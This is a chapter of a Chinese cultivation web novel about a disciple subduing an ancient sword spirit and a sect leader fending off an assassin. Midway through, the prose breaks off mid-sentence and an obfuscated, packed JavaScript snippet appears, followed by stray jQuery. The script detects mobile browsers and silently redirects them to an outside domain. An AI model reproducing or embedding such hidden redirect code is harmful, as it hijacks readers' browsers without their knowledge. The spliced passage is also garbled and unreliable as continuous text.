“这么小身板……能提的动我吗?”
老头看见明殷站起来,上下观摩了一番,嗤笑了一声,“小姑娘,说出来不怕吓到你,我身上沾过的血比你这辈子喝过的水还多。光是这辈子结下的因果都重的有如万钧。劝你最好掂量掂量自己的资质,别因为外面那个扑克脸上下嘴皮子一碰,说要将我给你,你就贸然接下。”
一旁站着的魏澄扯了扯嘴角。修真者,无量寿数,凡人渺渺几十年,连望尘莫及都做不到,更何况这还是一把上古修者的神剑。犹如蚍蜉比大树,沧海比一粟,既傲慢又冷漠。
明殷说:“我知道,所以师尊派我来劝说你。”
老叟反问:“劝说我?呵,那倒没这个必要,他给了我好处,我自然会依他所说,奉你为主。”
“但是你内心并不承认我,即便我师将这镇纸从外打破,化作齑粉也无用。因为正如你所说,我提不动你。”明殷向前了一步,“所以我要真正的降服你,成为我的剑。”
残臂抖擞在萧瑟的风中。岁月磨蚀,他其实已经感觉不到冰冷。更何况人心向背,他也无意再踏入莫测的凡尘。
即便,它饮过无边的晚风,舔过林间纯澈的水,也做过世间最恣意的剑;它杀过最恶毒的邪祟,斩过无辜之人的头颅,也品过最亲近之人的血。
如今它困在这一亩三分地里,谁都想来夺取它,占有它,谁都想要它的无上剑意,助他们平步青云,人员往往,殊途同归。
但求者无意,被求者却有心,因为它纵使只是一把剑,也体会过人情冷暖,知晓这世间最美的事物是什么。
可岁月弥弥,终究是饮不尽厉雪的无情。
于是他背过身,那背影尽显冷漠,“我早已不属于我自己,若你要,便拿去。”
“可是……”
“小太子!”头顶上,有人出口将这一切打断,待记忆回炉,蜇风忽起,已然有一人将剑灵擒住,明殷伸手欲拦,可是这一切仅电光火石之间,她又能做什么呢?
她握了握拳,脑中闪过许多过往的片段,断掉的长剑与疯狂的雪,无法自己的悲伤与洋洋吟唱的打更人,千钧之责与心底嘶吼的战栗……一一自她脑中闪过——就像她刚看到的那双眼睛一样。
此时此刻,她忽然就不怕它了。
她唾弃过自己生来残忍的无情,所有人,明明有的敬仰,有的厌恨,有的怜爱,却都不分青红皂白的死在她的手里;也自责于将救她于水火的掌门陷入两难之地,打破底线,被迫收她一介凡人为徒;也怨恨过茫茫剑阁之中,只他闪动的鸣鸣声,为何你一界上古神剑,要露出那样令我心痛的眼神?
因为自来这之前,我曾将自己的面孔尽收于脚边的水坑之中,我看见了自己那双疲惫不堪的眼睛。无论再怎么学正道挺拔自己的身姿,都改变不了自己是一个被命运洪流裹挟之虫孑的事实。
我不敢擅自揣测,却也觉得你跟我是一样的人,但剑阁那日你明明觉察到你我命运,为何又拒绝我呢?
这茫茫白雪,她光是看着,就觉得冰冷至极。
一如她在那官府门前,长跪不起,万念俱灰之时。
可突然,却有人拍了拍她的肩膀,朝她露出了微笑。
“走吧,大师姐,师尊说他可以带我们出去了。”
……
——
衍天宗〡员峤山
“若你们还想听完此事始末,且去为我湛壶茶来,不然我得渴死在这里。”
“师兄您请!”
一壶热茶拌凉风,咽下去的还有些许员峤的烈烈枫味。人间太子以臂作枕,以枝为席,浸在赤色的叶间将天地尽揽。树下叽叽喳喳围着好些个小弟子,年纪没魏澄大,稚嫩的孩童心态让秋色都染上了一抹羡煞的神色。魏澄满意地摆了摆翘着的小腿,便又徐徐道来:
“且见掌门师叔将那势如千钧的承影镇纸递予大师姐一拿,顿时,众人哗然,惊堂满座,连天地都散了些颜色,万物皆为其折服。待气势散去,才显现出一柄威风凛凛的沉铁宝剑,散发出来自悠远长空之上的威压。大师姐持剑立于掌门身前,虽身躯微小,却双目凌厉,将其下众多瞧不起她的扫兴者一一蔑视,以证我……哎呦!”
话音未落,魏澄悠闲散漫的小脸顿时皱作一团,原是光洁的小脑瓜被打了个弹指,痛的他连连摆手。抬起眼,才发现是那行踪不定,又不知去向何处的师尊。云行一双手抬起穿过他的胳肢窝,把他从树上抱下来,魏澄怨怨地盯了他一瞬,落到地上便幽幽地请了句师尊安。
小孩们连忙站成一排揖手行礼,云行一点了头应着,就让他们退下。
“不是给你册子叫你修行了?怎么又在这哄骗外门弟子,还躺的这般惬意。”
云行一恼火,这小太子收的调皮,这么不听话,他才走了几盏茶的时间,就又开始偷懒耍滑使唤人了。
“看书哪有讲书有趣。”
云行一扯了一把小太子的袖子,魏澄踉跄了一下,就被云行一牵着走出院子。
“师尊干甚将他们赶走,我还未给师弟师妹们讲完呢。”
云行一随口道,“这些东西卫凉会与他们讲,你来凑什么热闹当说书人。”说罢他睨了小太子一眼,“别以为我不知道,你刚刚讲的到底几分真几分假几分造势,你这小孩倒是心思多。”
魏澄昨日缠着他问了他许多问题不肯睡觉,云行一只当是他年纪小心性纯事事好奇,便随口说了几句掺真掺假的话,毕竟这些事多了说出去不好,容易影响那小孩的心性。
想到明殷,云行一心思一敛。
魏澄踢了一脚面前石子,“那又怎么,虽然我也不知她到底如何,但是大师姐那样勇敢,还是倜傥极了。”
小孩有心事不假,也不愿同我们说。师兄那日也说了收了徒是因为愧疚,可他总觉得枕风有什么事情瞒着他没细说。
枕风瞒他的事情不少,唯独这小孩的事情当真是一点没透露。
师徒二人都是闷葫芦……还真是眼缘不差。
不过连小太子都察觉出不对,看来真得叫师兄平日好好照料她了。
“走吧,我且带你去挑武器,看你大师姐都有了一把好剑,怎么能少了我徒儿一把?”
魏澄眨了眨眼睛,脚下走的好生欢快。
——
说罢那日明殷在收岚殿内收了神剑惊鸿四座,举天下皆是一惊,惊在枕风可谓是收了位天赋异禀之人,还没修成几抹修为便能降的住神器,日后成绩更是不作他想。
再说这放眼整个修真界,天下谁人一收徒就给一把这等镇宗之宝?恐怕也就枕风一人了。
众人讶然于衍天宗掌门出手阔绰之余,心里也是压力连连,看得出首徒之比这衍天宗是势在必得,已是囊中之物,修真界顿时风云迭起,其余几大门陆续传来些许私会的风声,压力满满。
再说这边枕风刚收了个碎月浮的幽兰珊,对方便谄着笑明里暗里问着贵徒近况如何,那边北遒剑阁便甩下几架上等铃璃酒,才知还给明殷封了副不日宴席的请柬……枕风手下的几个弟子便将来客安定下来,就谴人去藏宝阁数几样宝物送回去。
送出几位客人,枕风便不紧不慢地踱去桌前饮了盏茶水,旁边乘着凉的执事长老登时便意味深长地将视线往他身上放,也不说话。
枕风打了道传讯符出去,撇见那侧椅子坐了人,“坐在这作甚,今日你执事堂清闲?”
藏隋冷哼了一声,“闲啊,我管教有方,无人冒犯,就是不知你收岚殿如何?”
“若是闲,便去查你那刚有点眉目的势头。我无能治不好这宗,收岚殿正忙着呢。”
哪有他这样教人打工的?不若藏隋想起来,这人去完飞云之汇后便是忙了十几天,现下他喝的还是昨日的灵茶。藏隋唤了名弟子将这水换了下去,又取了些垫肚子的点心
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16242851|181942||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
放着。
枕风茶水没喝,只抓了一个点心喂进肚子里,便走开去了堂前。那半吊子长老在后面跟着,冷不伶仃就要朝枕风踹一脚。
“干什么?”
没等枕风踹回去。且见电光火石之间,一道蕴含着丝丝威压的强劲术法突然朝两人中间打过来,便见藏隋抄起一剑砍了那道灵力,凌厉剑光闪过殿中暗处,一双黑眸便沉沉地盯着那里。随后,一道身影悄然现出,枕风眸间一拧,当即便甩了一道灵力过去。
那人轻巧躲过,枕风眼都不眨一下。待两息之后,那人还未动作,藏隋当即便抹了对待顽劣弟子的耐心,取了一把桌上的鎏金烛台,脚尖点地腾空飞起,便作爪样直取他脖颈。
砰的一声,烈烈辄气猛然爆炸在两人中间!只听殿内玲琅物什此起彼伏的膨撞声响,两人之斗便如狂风破境一般将收岚殿搅得个天翻地覆,混乱不堪。而刚刚还在此间候着的弟子也全然不见踪影。一旁掌门枕风却是立在中间岿然不动,稳如泰山。
烟雾弥散之间,两人打的有来有往,剑光频频闪过。藏隋不欲与他多争,就将自身灵力灌注于这鎏金烛台,猛的扎下便要戳穿了贼人的一臂。且听一声凄厉的惨叫,那人躲了一把,便只刺到了一边,就欲从衣裹间掏出什么,还未等到藏隋再用剑砍了他的手掌,这闹剧就被枕风叫停了。
藏隋断了他的手筋,端着副散漫的神色便将那贼人拎下到枕风面前。
“杀进这收岚殿的人自我衍天宗立宗之后便数无胜数,然古往今来成者一只手都数得出来。凭什么你就觉得仅凭这单枪匹马便能得一世响名?”
藏隋给了他一脚,那人不说话,只用一双阴冷历意的眼盯着枕风。藏隋与枕风耳语了一句“元婴圆满”,便见他蹙了蹙眉,眸中神色幽暗。
元婴胆子大的确实不少,圆满期更是疯子遍地走。
从元婴到化神这段突破尤为困难,在于丹田内予元婴形神上的凝聚,是一步大阶段的提升,能拦住很多了无天赋仅凭努力修真的人,故而不甘心之人便会在黔驴技穷之时不择手段。
“不若我断他一臂,他就知道不敬尊者的下场如何了。”藏隋浅笑出声。
修真者向来将四肢视的尤其重要,缺一处便会断了自身灵脉之回转,不仅大大折损修为,稍不注意便会折了两三个小境界,日后也难有寸步提升。可眼前这人吭都不吭一声,藏隋咬了咬后槽牙,在心底将那群人杀了个片甲不留。
就是这群祸害豢养的刍狗,搞的修真界上下人心惶惶,一避再避。
除去衍天宗,飘渺行宫,北遒剑阁,碎月浮,入境门和问穹派这等傲世大宗,便是些小门小派繁星点点。然明处星罗棋布,百花齐放,暗处更是恒河沙数,层出叠见,这等子奴性高的失却自身人格的猎影,便是他们给万千修真者捅的第一把刀。
平日与散修斗得有来有往,如今,还打起名门正派的主意来了。
枕风唤弟子出来收拾这殿中残局,便走去殿外,“直接断吧,谅他也忠心地问不出什么。”
藏隋欸了一声,将人丢给弟子便追过去问,“平时有人刺你你不都是当场暴毙他吗?怎的今日这般纯善?”
枕风别看他人修的个清风朗月,高节明正。藏隋虽不与他同一师门,但这么久以来与他相处,都知道他能站稳这掌门之位手段可多着去了,对这种送上门的伙计更是深得他心。谁知这人回他一句直接掉了他的下巴。
“没空鸟他,我得回去看看徒儿如何,你没事干?”
对哦,这人才收了个徒弟。
想罢他又回味起,又觉得太匪夷所思了。
怎么会突然收徒弟呢?
免得等会他又叫自己动脑子想这些有的没的阴谋算计,藏隋摆了摆手,“有的有的,你不问,我这个执事长老得拉下去再审审。”
说罢两人分道扬镳,藏隋突然想到什么,差了个弟子去追枕风。